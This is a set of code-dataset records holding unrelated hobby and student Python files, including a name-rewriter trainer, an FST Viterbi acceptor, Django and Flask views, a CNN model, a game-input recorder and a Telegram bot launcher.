'reranker.pkl'\nBEAM_WIDTH = 7\n\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(asctime)s:%(levelname)s:%(message)s', level=logging.INFO)\n\n df = pd.read_csv('data/train.csv')\n\n saved_df = df[df.target == 0]\n changed_df = df[df.target == 1]\n train_df, val_df = train_test_split(changed_df, test_size=0.1, random_state=1337)\n\n correct_names = pd.concat([train_df.fullname_true, saved_df.fullname], axis=0)\n countries = pd.concat([train_df.country, saved_df.country])\n reranker = CatboostReranker(correct_names, countries)\n\n model = create_rewriter()\n model.fit(\n train_df.fullname,\n train_df.fullname_true,\n eval_set=(val_df.fullname, val_df.fullname_true))\n model.save(REWRITER_PATH)\n\n rank_df, val_df = train_test_split(val_df, test_size=0.1, random_state=1337)\n rank_train_data = list(model.predict(rank_df.fullname, BEAM_WIDTH))\n candidates = list(model.predict(val_df.fullname, BEAM_WIDTH))\n\n reranker.fit(\n rank_train_data,\n rank_df.country,\n rank_df.fullname,\n rank_df.fullname_true,\n eval_set=(candidates, val_df.country, val_df.fullname, val_df.fullname_true))\n reranker.save(RERANKER_PATH)\n\n val_df['fullname_corrected'] = [\n reranker.select(sents, country, orig_sent)\n for sents, country, orig_sent\n in zip(candidates, val_df.country, val_df.fullname)\n ]\n\n print('Accuracy is {:.6f}'.format(np.mean(val_df.fullname_true == val_df.fullname_corrected)))\n","sub_path":"train_rewriter.py","file_name":"train_rewriter.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"331567527","text":"\nimport operator\nfrom collections import defaultdict, deque\n\nimport sys\n\nimport re\n\n'''\nSee readme for more information.\n#\n'''\n\nclass Graph:\n def __init__(self, start=None, finish=None, transitions=defaultdict(dict)):\n self.transitions = transitions\n self.start = Node(start,('**','**',1)) ## initialise predecessor of start to symbols so know when find it (and can distinguish from other Nones)\n self.finish = Node(finish,probability=0)\n self.nodes = {start:self.start, finish:self.finish} #dict of label: Node object\n\n def __str__(self):\n return 'A graph with Start: {} Finish: {}\\nTransitions: {}'.format(self.start,self.finish,self.transitions)\n\n def get_start(self):\n return self.start\n\n def get_finish(self):\n return self.finish\n\n def get_nodes(self,label):\n return self.nodes[label]\n\n def get_transitions(self):\n return self.transitions\n\nclass Node:\n def __init__(self, label, predecessor=None, probability=1):\n self.label = label\n self.probability = probability #distance from start or probability from start\n self.predecessor = predecessor #this will very importantly be a tuple of (node object,output from transition,probability of transition (NOT TOTAL PROBABILITY)\n # MAKE SURE OK THAT NOT TOTAL - Nope it needs to be total probability\n #self.neighbours = defaultdict(dict) #indexed by key\n\n def __str__(self):\n return 'Node: {}'.format(self.label)\n\n def get_probability(self):\n return self.probability\n\n def get_predecessor(self):\n return self.predecessor\n\n# REPLACE ALL PREDECESSOR AND PROBABILITY SHIT WITH THE STATE TABLE\n\ndef dijkstra_viterbi(input,graph): #input is assumed to be a string, graph is a Graph Object\n\n #Initialise backtrace table (state_table) with a nested dictionary to keep track\n #of each state at each timestep, which is to say, at each index.\n state_table = defaultdict(defaultdict)\n #initialise queue\n search_states = deque()\n end_of_input = len(input) # an imaginary \"end of input\" index, basically a STOP index\n #add start\n start = graph.get_start()\n finish = graph.get_finish()\n next_index = 0 #start to look at input string\n start_predecessor = ('**', '**', 1)\n winner = None\n final_output = [] # to store eventual output\n\n #initialise\n update_state_table(state_table, start_predecessor, start, next_index)\n search_states.append((start, next_index))\n #current_node = None\n while search_states:\n current_node, next_index = search_states.popleft() #this will first be the start, then FIFO ordered by priority. FIFO is maybe not the best way to do this but it's a first go since it's simpler\n #update_state_table(state_table, predecessor, current_node, next_index) #maybe this should be index-1?\n if accept_state(current_node, next_index, finish, end_of_input): #input is done and node is a finish node\n winner = current_node\n #update_state_table(state_table, predecessor, winner, next_index)\n break\n #if we are not in a finish state\n #if transitions from node on input then update current node with neighborus, and push the neighbours onto the queue in order of priority\n try:\n neighbours = graph.transitions[current_node.label][input[next_index]] #a dict of (node,output):prob (tuple:float)\n # initialise new nodes based on transition dict data, and the possible neighbours for a given input\n for entry in sorted(neighbours.items(), key=operator.itemgetter(1), reverse=True): #1 is the index of the transition probability, sort in descending order\n label, output, prob = entry[0][0], entry[0][1], entry[1]\n prev_state_prob = state_table[current_node][next_index][2]\n new_prob = prob*prev_state_prob #the probability after taking this transition, so of having reached this next node on this input\n next_node_predecessor = (current_node, output, new_prob)\n try:\n existing_node = graph.get_nodes(label)\n next_node = existing_node\n except KeyError: #if node doesn't exist, create it and add it to the graph's nodes\n next_node = Node(label, next_node_predecessor, new_prob)\n graph.nodes[label] = next_node\n update_state_table(state_table, next_node_predecessor, next_node, next_index+1)\n search_states.append((next_node, next_index+1)) #append the node found and the next index to look at\n\n except KeyError:\n continue #if there is nothing to be done on the available input, continue the loop to try the rest of the queue\n except IndexError: #need something here so that if reached end of input and didn't accept, doesn't end up with index out of range errors\n #break\n continue\n\n if winner:\n winner_prob = state_table[winner][end_of_input][2]\n return backtrace(winner, end_of_input, final_output, state_table), winner_prob #return result of recursive backtrace and probability, round to 3 sig figs\n #also will have to return probability\n\n else:\n return '*none*', 0 #return none and zero probability\n\ndef backtrace(node, index, final_output, state_table): #traces back through the paths from state_table generated by dijkstra_viterbi and returns the output\n predecessor = state_table[node][index]\n if predecessor[0] != '**': #symbol for predecessor of start\n prev_node, output_char = predecessor[0], predecessor[1]\n final_output.append(output_char)\n backtrace(prev_node,index-1,final_output,state_table)\n return final_output\n\ndef accept_state(current_node, next_index, finish, end_of_input):\n if current_node == finish and next_index == end_of_input:\n return True\n else:\n return False\n\ndef update_state_table(state_table, predecessor, current_node, next_index): #can I leave state table out of passing it around? Since it's implicitly global\n '''\n when pop a node off the queue add the predecessor information (state it came from, output that got it there, probability)\n to the state table at the point we're looking up (NOT at the predecessor)\n State table is in format {state: {index : predecessor info}}. Should mean that whenever encounter the same\n state at same index, the more probable path to that point will win.\n '''\n #Check if there is an entry at current_node next index in state_table\n try:\n current_value = state_table[current_node][next_index]\n\n if predecessor[2] > current_value[2]: #comparing the probabilities in the tuples\n state_table[current_node][next_index] = predecessor\n\n except KeyError:\n state_table[current_node][next_index] = predecessor\n\n\n\n'''\nexample input line from file (S3 (S4 \"can\" \"NOUN\" 0.4))\n'''\n\ndef strip_carmel_fst_file(input_file):\n with open(input_file, 'rU') as file:\n line_list = [line.strip() for line in skip_pycomments(file)]\n\n final_state = line_list[0]\n initial_state = strip_line(line_list[1])[0] #grabs first element of the list returned as carmel files\n # specify start state as first state in second line of file\n #time to build the transitions\n transitions = defaultdict(dict)\n for line in line_list[1:]:\n if line:\n new_trans = strip_line(line)\n if len(new_trans) == 5: #allows it to accept FSTs with no probabilities, (A (A \"a\" \"b\")) by defaulting to 1\n state, input, next_state, output, prob = new_trans[0], new_trans[2], new_trans[1], new_trans[3], float(new_trans[4])\n elif len(new_trans) == 4:\n state, input, next_state, output, prob = new_trans[0], new_trans[2], new_trans[1], new_trans[3], 1\n else:\n sys.exit('Invalid FST input. Input file in format:\\n A\\n(A (A \"a\" \"b\")\\n(A (A \"b\" \"c\"))\\netc.\\nEmpty strings in both FST and input are denoted with *e*')\n if not transitions[state]: #if state not in dict then assign a new dict to it\n #Example structure {'1': {'can': {(3, 'AUX'): 0.8}}} -- 3 layers\n transitions[state] = {input:{(next_state,output):prob}} #make sure these dictionary assignments work\n else:\n try:\n if transitions[state][input]: #check next layer of nesting\n transitions[state][input][(next_state, output)] = prob\n except KeyError:\n transitions[state][input] = {(next_state,output):prob}\n\n return [initial_state,final_state,transitions]\n\n\ndef strip_line(line):\n replace_parens = re.sub('(\\)|\\()',' ',line)\n strip_quotes = re.sub('\"','',replace_parens).split()\n return strip_quotes\n\ndef skip_pycomments(input):\n for line in input:\n line = line.strip()\n if line:\n if not line.lstrip().startswith('#'):\n yield line\n\nif __name__ == \"__main__\":\n input_fst = sys.argv[1]\n input_file = sys.argv[2]\n graph_data = strip_carmel_fst_file(input_fst)\n #print(new_graph)\n with open(input_file, 'rU') as file:\n line_list = [line.strip() for line in skip_pycomments(file)]\n for line in line_list:\n line_as_string = re.sub('\"', '', line).strip().split()\n result, prob = dijkstra_viterbi(line_as_string, Graph(*graph_data))\n\n if isinstance(result,list): #reverse before returning, unless failed and result was string *none*\n result.reverse()\n result = '\"'+'\" \"'.join(result)+'\"' #make it look like it is carmel\n\n print('{} => {} {:g}'.format(line.strip(), result, prob))\n #break #this is there temporarily to do only one line\n\n###NEED TO ADD DEFAULT VALUES to make sure that if no probabilities are given, assume P = 1\n","sub_path":"finite_state_transducers/fst_acceptor2.py","file_name":"fst_acceptor2.py","file_ext":"py","file_size_in_byte":9999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"401011915","text":"from django.urls import path\nfrom apps.views import *\nurlpatterns = [\n path('register_admin/',RegisterAdmin,name='register_admin'),\n path('login_admin/',AdminLogin,name='login_admin'),\n path('admin_dash/',Admin_dash,name='admin_dash'),\n path('register_manager/',RegisterManager,name='register_manager'),\n path('login_manager/',ManagerLogin,name='login_manager'),\n path('manager_dash/',Manager_dash,name='manager_dash'),\n path('register_employee/',RegisterEmployee,name='register_employee'),\n path('login_employee/',EmployeeLogin,name='login_employee'),\n path('employee_dash/',Employee_dash,name='employee_dash'),\n path('app_status/',StatusOfApp,name='app_status'),\n path('create_app/',CreateApplication,name='create_app'),\n path('log_out/',Logout_view,name='log_out'),\n]","sub_path":"apps_management/apps/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"383231686","text":"from django.urls import path\r\nfrom . import views\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\nurlpatterns = [\r\n path('',views.home , name = \"home\"),\r\n path('catagory/',views.catagory, name =\"catagory\"),\r\n path('signup/',views.signup_view, name = 'signup'),\r\n path('login/',views.login_view,name = 'login'),\r\n path('logout/',views.logout_view,name = 'logout'),\r\n path('product//',views.signle_item, name = 'single_item'),\r\n path('add_cart/',views.add_cart_item, name = 'add_cart_item'),\r\n path('transaction/',views.transaction_view, name = 'transaction'),\r\n]\r\n\r\nif settings.DEBUG:\r\n urlpatterns+=static(settings.STATIC_URL, document_root = settings.STATIC_ROOT)\r\n urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)\r\n\r\n","sub_path":"E-comerce/inventory/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"403036895","text":"# -*- coding:utf-8 -*-\nfrom flask import redirect, url_for, Blueprint\nfrom helpers.override import tmpl\nfrom flask_login import login_required, current_user, logout_user\nfrom models.backend import DailycostDoc\nfrom forms.backend import DailycostForm\n\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\n__all__ = ['bp']\n\nbp = Blueprint('backend', __name__, url_prefix='/backend')\n\n\n@bp.route(\"/main\")\n@login_required\ndef backend():\n user = current_user.name\n return tmpl(user=user)\n\n\n@bp.route(\"/daily\")\n@login_required\ndef daily_cost():\n user = current_user.name\n dailycost = DailycostDoc.objects().order_by('-date').all()\n return tmpl(user=user, dailycost=dailycost)\n\n\n@bp.route(\"/daily/cost\", methods=['GET', 'POST'])\n@login_required\ndef daily_cost_add():\n form = DailycostForm()\n if form.validate_on_submit():\n cost = DailycostDoc(type=form.type.data,\n money=form.money.data)\n cost.save()\n return redirect(url_for('backend.daily_cost'))\n return tmpl(form=form)\n\n\n@bp.route(\"/daily/analysis\", methods=['GET', 'POST'])\n@login_required\ndef daily_analysis():\n cost = DailycostDoc.objects().all()\n sums1, sums2 = 0.0, 0.0\n month1, month2 = '2018-12', '2019-01'\n result = []\n for c1 in cost:\n if month1 in str(c1.date):\n sums1 += c.money\n result.append((month1, sums1))\n for c2 in cost:\n if month2 in str(c2.date):\n sums2 += c.money\n result.append((month2, sums2))\n return tmpl(result=result)\n \n","sub_path":"views/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"477761875","text":"#!/usr/bin/python3\n\nfrom pyrob.api import *\n\n\n@task(delay=0.001)\ndef task_9_3():\n n = 1\n while not wall_is_on_the_right():\n move_right()\n n += 1\n for j in range(n-2, 0, -2):\n for i in range(j):\n move_down()\n fill_cell()\n move_down()\n for i in range(j):\n move_left()\n fill_cell()\n move_left()\n for i in range(j):\n move_up()\n fill_cell()\n move_up()\n for i in range(j):\n move_right() \n fill_cell()\n move_down()\n move_down(int((n - 1) / 2))\n move_left(int((n - 1) / 2))\n\nif __name__ == '__main__':\n run_tasks()\n","sub_path":"lab1/task_30.py","file_name":"task_30.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"444431250","text":"from Tkinter import Tk, Label, Button, Frame\nimport tkFont\n\n\nclass MyFirstGUI(object):\n def __init__(self, master):\n self.master = master\n master.title(\"A simple GUI\")\n\n frame = Frame(master, width=200, height=200)\n frame.pack(padx=100, pady=50)\n\n my_font = tkFont.Font(family=\"Courier New\", size=18)\n\n self.label = Label(frame, text=\"This is our first GUI!\")\n self.label.config(font=my_font)\n self.label.pack()\n\n self.greet_button = Button(frame, text=\"Greet\", command=self.greet,\n highlightbackground=\"grey\")\n self.greet_button['fg'] = 'red'\n self.greet_button['bg'] = 'blue'\n self.greet_button.pack()\n\n self.close_button = Button(frame, text=\"Close\", command=master.quit)\n self.close_button.pack()\n\n def greet(self):\n print(\"Greetings!\")\n\n\nif __name__ == '__main__':\n root = Tk()\n my_gui = MyFirstGUI(root)\n root.mainloop()\n","sub_path":"examples/day5/tkinter_simple.py","file_name":"tkinter_simple.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"64178830","text":"import re\r\n\r\ndef perform_math():\r\n global run\r\n global previous\r\n equation = \"\"\r\n if previous == 0:\r\n equation = input(\"Enter equation: \")\r\n else:\r\n equation = input(str(previous))\r\n \r\n \r\n if equation == \"quit\":\r\n run = False\r\n print(\"Goodbye earthling\")\r\n else:\r\n #in case user types extra unnecessary characters\r\n equation = re.sub('[a-zA-Z,.:;^$#@!`~&_=?><]', ' ',equation) \r\n \r\n if previous == 0:\r\n previous = eval(equation)\r\n \r\n else:\r\n #making the previous variable a string so we can concatenate it with the equation string\r\n previous = str(previous)\r\n #concatenating the strings and then evaluating the whole equation\r\n previous = eval(previous + equation)\r\n \r\n \r\n \r\n\r\nprevious = 0\r\nrun = True\r\nprint(\"Welcome Human. This is a simple calculator, be gentle.\")\r\nprint(\"Type 'quit' if you want to exit\\n\")\r\n\r\n\r\nwhile run:\r\n perform_math()\r\n","sub_path":"calculatorFinal.py","file_name":"calculatorFinal.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"154231323","text":"from django import template\nfrom ..models import *\n\nregister = template.Library()\n\n@register.simple_tag(takes_context=True)\ndef get_all_users(context):\n theobs = Notifications.objects.filter(toUser=context['user'])\n return {'thenotif':theobs,'ouruser':context['user']}\n\n ","sub_path":"polls/templatetags/extra.py","file_name":"extra.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"191271993","text":"\n\nfrom xai.brain.wordbase.nouns._difference import _DIFFERENCE\n\n#calss header\nclass _DIFFERENCES(_DIFFERENCE, ):\n\tdef __init__(self,): \n\t\t_DIFFERENCE.__init__(self)\n\t\tself.name = \"DIFFERENCES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"difference\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_differences.py","file_name":"_differences.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"426556007","text":"\n# if __name__ == '__main__':\n\n# # docs: インタビュー全体\n# print('Load data')\n# # モデルを訓練する\n# path = './data/interview/interview-text_01-26_all.txt'\n# data = utils.to_sentence(utils.load_data(path))\n# docs = [row[1] for row in data]\n# print('Done')\n\n# print(docs[:1])\n# res = []\n# for i in range(len(docs)):\n# doc = docs[i]\n# if doc[-3:] == 'ですか' and 'そうですか' not in doc:\n# res.append(i - 0.5)\n# print(res[:100])\n\n# # max_characters: XX文字以上の単文は要約対象外\n# # docs = utils.polish_docs(docs, max_characters=1000)\n# # docs_for_train = [stems(doc) for doc in docs]\n# # \"\"\"\n# # 以下のようなデータを作っています\n# # edocs_for_train = [\n# # ['出身は', 'どこ', 'ですか' ...\n# # ['好き', 'な', '食べもの', ...\n# # ...\n# # ]\n# # \"\"\"\n# # print(data[:3])\n# # print(docs[:1])\n# # print(docs_for_train[:1])\n\nfrom lib.utils import stems\nfrom lib.tfidf import TfidfModel\nfrom lib.doc2vec import Doc2Vec\nfrom lib.word2vec import Word2Vec\nfrom lib.text_tiling import TextTiling\nfrom lib.lcseg import LexicalCohesionSegmentation\nfrom lib import utils\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport copy\nsns.set()\n\nimport datetime\nimport sys\n\n\n\ndef validate_args(args):\n eval = False\n if 2 <= len(args):\n if not(args[1] == 'tfidf' or args[1] == 'doc2vec' or args[1] == 'word2vec'):\n print('Argument is invalid')\n exit()\n\n if not(args[2] == 'sentence' or args[2] == 'utterance'):\n print('Argument is invalid')\n exit()\n\n if not(args[3] == 'text_tiling' or args[3] == 'lcseg'):\n print('Argument is invalid')\n exit()\n\n if args[-1] == 'eval':\n eval = True\n else:\n print('Arguments are too sort')\n exit()\n\n return args[1], args[2], args[3], eval\n\n\ndef load_model(model_type, segmentation_type):\n if model_type == 'tfidf':\n # TFIDFモデル\n model = TfidfModel(no_below=1, no_above=1.0, keep_n=100000)\n model.load_model()\n elif model_type == 'doc2vec':\n model = Doc2Vec(alpha=0.025, min_count=10, vector_size=300, epochs=50, workers=4)\n # model.load_model('./model/doc2vec/doc2vec_' + str(model.vector_size) + '.model')\n # model.load_model('./model/doc2vec/doc2vec_wiki.model')\n model.load_model('./model/doc2vec/updated_doc2vec_300.model')\n elif model_type == 'word2vec':\n model = Word2Vec(alpha=0.025, min_count=10, vector_size=200, epochs=50, workers=4)\n model.load_model('./model/word2vec/word2vec_' + str(model.vector_size) + '.model')\n # model.load_model('./model/word2vec/word2vec_wiki.model')\n # model.load_model('./model/word2vec/updated_word2vec_50.model')\n else:\n print('Invalid model type')\n exit()\n\n if segmentation_type == 'text_tiling':\n segmentation_model = TextTiling(window_size=window_size, p_limit=0.1, a=0.5, model=model)\n elif segmentation_type == 'lcseg':\n segmentation_model = LexicalCohesionSegmentation(window_size=window_size, hiatus=11, p_limit=0, a=0.5, model=model)\n else:\n print('Invalid segment type')\n exit()\n\n return model, segmentation_model\n\n\ndef main_segmentation(doc_num, window_size, model_type, doc_type, segmentation_type, eval=False):\n # === Load doc ===\n print('')\n print('Interview:', doc_num)\n print('Load data')\n path = './data/interview/interview-text_01-26_' + doc_num + '.txt'\n\n data = utils.load_data(path)\n if doc_type == 'sentence':\n data = utils.to_sentence(data)\n\n docs = [row[1] for row in data]\n label = [row[0] for row in data]\n print(data[:5])\n print('Done')\n\n # === Model ===\n print('Model:', model_type)\n print('Segmentation type:', segmentation_type)\n model, segmentation_model = load_model(model_type, segmentation_type)\n\n # === Result ===\n print('===結果===')\n res = segmentation_model.segment([stems(doc) for doc in docs])\n print(segmentation_model.sim_arr)\n\n\nif __name__ == '__main__':\n # ハイパーパラメータ\n window_size = 30\n doc_num = '2'\n\n # 引数\n model_type, doc_type, segmentation_type, eval = validate_args(sys.argv)\n\n count = []\n prediction = []\n ans = []\n f_score_arr = pd.Series()\n for num in range(int(doc_num)):\n num += 1\n if num < 10:\n num = '0' + str(num)\n else:\n num = str(num)\n\n main_segmentation(num, window_size, model_type, doc_type, segmentation_type, eval=eval)\n\n","sub_path":"analize.py","file_name":"analize.py","file_ext":"py","file_size_in_byte":4705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"41960007","text":"__author__ = 'anderson'\n\nfrom distributions.distribuicoes_simulacao import Distribuicao\n\n\nexperimentos = 10000\ncont = 0\ndistri = Distribuicao()\nfor x in range(experimentos):\n r = distri.binomial_simulada(40,0.58)\n\n if 15 <= r <= 20:\n cont += 1\nprint(\"%.4f\" % (cont/experimentos))\n","sub_path":"ProjetosimulacaoDiscreta/listaFinal/questao02b.py","file_name":"questao02b.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538377041","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__()\n \n self.model_name = '12_layered'\n \n self.conv1 = nn.Conv2d(3, 16, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv1.weight)\n self.batchnorm1 = nn.BatchNorm2d(16)\n \n self.conv2 = nn.Conv2d(16, 32, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv2.weight)\n self.batchnorm2 = nn.BatchNorm2d(32)\n \n self.conv3 = nn.Conv2d(32, 64, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv3.weight)\n self.batchnorm3 = nn.BatchNorm2d(64)\n \n self.conv4 = nn.Conv2d(64, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv4.weight)\n self.batchnorm4 = nn.BatchNorm2d(128)\n \n self.conv5 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv5.weight)\n self.batchnorm5 = nn.BatchNorm2d(128)\n \n self.conv6 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv6.weight)\n self.batchnorm6 = nn.BatchNorm2d(128)\n \n self.conv7 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv7.weight)\n self.batchnorm7 = nn.BatchNorm2d(128)\n \n self.conv8 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv8.weight)\n self.batchnorm8 = nn.BatchNorm2d(128)\n \n self.conv9 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv9.weight)\n self.batchnorm9 = nn.BatchNorm2d(128)\n \n self.conv10 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv10.weight)\n self.batchnorm10 = nn.BatchNorm2d(128)\n \n self.conv11 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv11.weight)\n self.batchnorm11 = nn.BatchNorm2d(128)\n \n self.conv12 = nn.Conv2d(128, 128, kernel_size=(3,3), padding=1, bias=False)\n torch.nn.init.xavier_uniform_(self.conv12.weight)\n self.batchnorm12 = nn.BatchNorm2d(128)\n \n self.adaptive_avg_pool = nn.AdaptiveAvgPool2d((2,8))\n \n self.fc = nn.Linear(128*2*8, 2)\n torch.nn.init.xavier_uniform_(self.fc.weight)\n nn.init.constant_(self.fc.bias, 0)\n \n def forward(self, x):\n temp = F.relu(self.batchnorm1(self.conv1(x)))\n temp = F.relu(self.batchnorm2(self.conv2(temp)))\n temp = F.relu(self.batchnorm3(self.conv3(temp)))\n temp = F.relu(self.batchnorm4(self.conv4(temp)))\n temp = F.relu(self.batchnorm5(self.conv5(temp)))\n temp = F.relu(self.batchnorm6(self.conv6(temp)))\n temp = F.relu(self.batchnorm7(self.conv7(temp)))\n temp = F.relu(self.batchnorm8(self.conv8(temp)))\n temp = F.relu(self.batchnorm9(self.conv9(temp)))\n temp = F.relu(self.batchnorm10(self.conv10(temp)))\n temp = F.relu(self.batchnorm11(self.conv11(temp)))\n temp = F.relu(self.batchnorm12(self.conv12(temp)))\n temp = self.adaptive_avg_pool(temp)\n scores = self.fc(temp.view(-1,128*2*8))\n return scores","sub_path":"cnn_from_scratch/models/layer_12.py","file_name":"layer_12.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"636708678","text":"from pynput import keyboard, mouse\nimport time\n\nfo = open(\"record.txt\", \"w\")\n\ninitTime = time.time()\n\nclass Key:\n pressed = False\n downTime = 0.0\n upTime = 0.0\n \n def __init__(self, c):\n #print(str(c)+\" created\")\n self.char = c\n \n def startTimer(self):\n self.downTime = time.time() - initTime\n self.pressed = True\n\n def stopTimer(self):\n self.upTime = time.time() - initTime\n self.pressed = False\n field = self.char+\":\"+str(self.downTime)+\":\"+str(self.upTime)\n fo.write(field+\"\\n\")\n return field\n\n\n\nw = Key('w')\na = Key('a')\ns = Key('s')\nd = Key('d')\ne = Key('e')\nspace = Key(\"space\")\nup = Key('up')\ndown = Key(\"down\")\nleft = Key(\"left\")\nright = Key(\"right\")\n\n\nkeys = {'w':w, 'a':a, 's':s, 'd':d, 'e':e, keyboard.Key.space:space, keyboard.Key.up:up, keyboard.Key.down:down, keyboard.Key.left:left, keyboard.Key.right:right}\n\n\ndef on_press(key):\n try:\n i = keys.get(key.char, None)\n if i is not None and not i.pressed:\n i.startTimer()\n \n except AttributeError:\n\n i = keys.get(key, None)\n if i is not None and not i.pressed:\n i.startTimer()\n\n\ndef on_move(x, y):\n field = \"mouse:\"+str(x)+\":\"+str(y)+\":\"+str(time.time() - initTime)\n #print(field)\n fo.write(field+\"\\n\")\n\n\ndef on_release(key):\n## print('{0} released'.format(\n## key))\n\n try:\n i = keys.get(key.char, None)\n if i is not None and i.pressed:\n print(str(i.stopTimer()))\n\n except AttributeError:\n i = keys.get(key, None)\n if i is not None and i.pressed:\n print(str(i.stopTimer()))\n \n if key == keyboard.Key.ctrl_r:\n # Stop listener\n return False\n\ninput(\"Press Enter when ready...\")\nprint(\"get ready\")\ntime.sleep(3)\nprint(\"goooooooo!!!!\")\n\nwith keyboard.Listener(on_press=on_press,on_release=on_release) as listener:\n with mouse.Listener(on_move=on_move) as listener2:\n listener.join()\n\n# Collect events until released\n\n\n \n\n\nfo.close()\n","sub_path":"fishy_move/record.py","file_name":"record.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"449925743","text":"from db import db\n\nclass MatchModel(db.Model):\n __tablename__ = 'match'\n\n id = db.Column(db.Integer, primary_key=True)\n datetime_start = db.Column(db.Integer)\n minutes_played = db.Column(db.Integer)\n map_name = db.Column(db.String(80))\n team = db.Column(db.String(80))\n round_win_team = db.Column(db.String(80))\n\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n user = db.relationship('UserModel')\n\n match_stats = db.relationship('MatchStatsModel', uselist=False, back_populates='match')\n \n def __init__(self, user_id, datetime_start, minutes_played, map_name, team, round_win_team):\n self.user_id = user_id\n self.datetime_start = datetime_start\n self.minutes_played = minutes_played\n self.map_name = map_name\n self.team = team\n self.round_win_team = round_win_team\n\n def json(self):\n if self.match_stats:\n return {\n 'id': self.id,\n 'user_id': self.user_id,\n 'datetime_start': self.datetime_start,\n 'minutes_played': self.minutes_played,\n 'map_name': self.map_name,\n 'team': self.team,\n 'round_win_team': self.round_win_team,\n 'match_stats': self.match_stats.json()\n }\n return {\n 'id': self.id,\n 'user_id': self.user_id,\n 'datetime_start': self.datetime_start,\n 'minutes_played': self.minutes_played,\n 'map_name': self.map_name,\n 'team': self.team,\n 'round_win_team': self.round_win_team,\n }\n\n @classmethod\n def find_by_id(cls, _id):\n return cls.query.filter_by(id=_id).first()\n","sub_path":"code/models/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"111164816","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# (c) Anand PS Kerala\n\n# the logging things\nimport logging\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\n\nimport os\nimport asyncio\n\n# the secret configuration specific things\n\nfrom luna import Config\nfrom plugins.start import *\n\nimport pyrogram\nlogging.getLogger(\"pyrogram\").setLevel(logging.WARNING)\n\n\nasync def run(app):\n await app.start()\n await app.send_message(int(Config.log_chat), \"**Bot Restarted**\\n\\n\"\n f\"**Version Loaded:** 1.0 `[Beta]`\\n\\n🗣️ @KeralasBots\")\n await app.idle()\n\nplugins = dict(\n root=\"plugins\"\n)\n\n\napp = pyrogram.Client(\n \"AdminBot\",\n bot_token=Config.TOKEN,\n api_id=Config.APP_ID,\n api_hash=Config.API_HASH,\n plugins=plugins\n)\n\nif __name__ == \"__main__\" :\n # create download directory, if not exist\n if not os.path.isdir(Config.DOWNLOAD_LOCATION):\n os.makedirs(Config.DOWNLOAD_LOCATION)\n \n loop = asyncio.get_event_loop()\n loop.run_until_complete(run(app))\n 